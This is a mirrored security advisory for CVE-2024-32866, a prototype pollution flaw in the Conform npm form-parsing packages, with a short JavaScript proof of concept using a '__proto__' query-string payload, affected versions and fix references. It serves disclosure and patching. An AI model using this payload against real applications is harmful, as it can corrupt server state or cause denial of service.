Conform contains a Prototype Pollution Vulnerability in `parseWith...` function
Summary
Conform allows the parsing of nested objects in the form of object.property. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to parseWith... functions.
PoC
const { parseWithZod } = require('@conform-to/zod');
const { z } = require("zod");
const param = new URLSearchParams("__proto__.pollution=polluted");
const schema = z.object({ "a": z.string() });
parseWithZod(param, { schema });
console.log("pollution:", ({}).pollution); // should print "polluted"Details
The invocation of the parseWithZod function in the above PoC triggers the setValue function through getSubmissionContext and parse, executing the following process, resulting in prototype pollution:
let pointer = value;
pointer.__proto__ = pointer.__proto__;
pointer = pointer.__proto__;
pointer.polluted = "polluted";This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of pointer[key] without proper validation.
Impact
Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | @conform-to/dom | >= 1.0.0, < 1.1.1, < 0.9.2 | 1.1.1, 0.9.2 |
| Paczka npm | @conform-to/yup | >= 1.0.0, < 1.1.1, < 0.9.2 | 1.1.1, 0.9.2 |
| Paczka npm | @conform-to/zod | >= 1.0.0, < 1.1.1, < 0.9.2 | 1.1.1, 0.9.2 |
Odnośniki
- https://github.com/edmundhung/conform/security/advisories/GHSA-624g-8qjg-8qxf
- https://nvd.nist.gov/vuln/detail/CVE-2024-32866
- https://github.com/edmundhung/conform/commit/4819d51b5a53fd5486fc85c17cdc148eb160e3de
- https://github.com/edmundhung/conform/commit/cb604dd58b99e2d12716d901a23bfca724e741ef
- https://github.com/edmundhung/conform
- https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H- Słabość (CWE)
CWE-1321- Platforma
- npm
- Paczka
@conform-to/dom, @conform-to/yup, @conform-to/zod- Ujawniono
- 23.04.2024
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-624g-8qjg-8qxf - CC BY 4.0
Historia podatności: @conform-to/dom
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 2
- Pierwsza → ostatnia
- 04.2024 07.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 2
Ujawnienia w latach
- 2024: 1
- 2025: 0
- 2026: 1
-
Conform contains a Prototype Pollution Vulnerability in `parseWith...` function ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.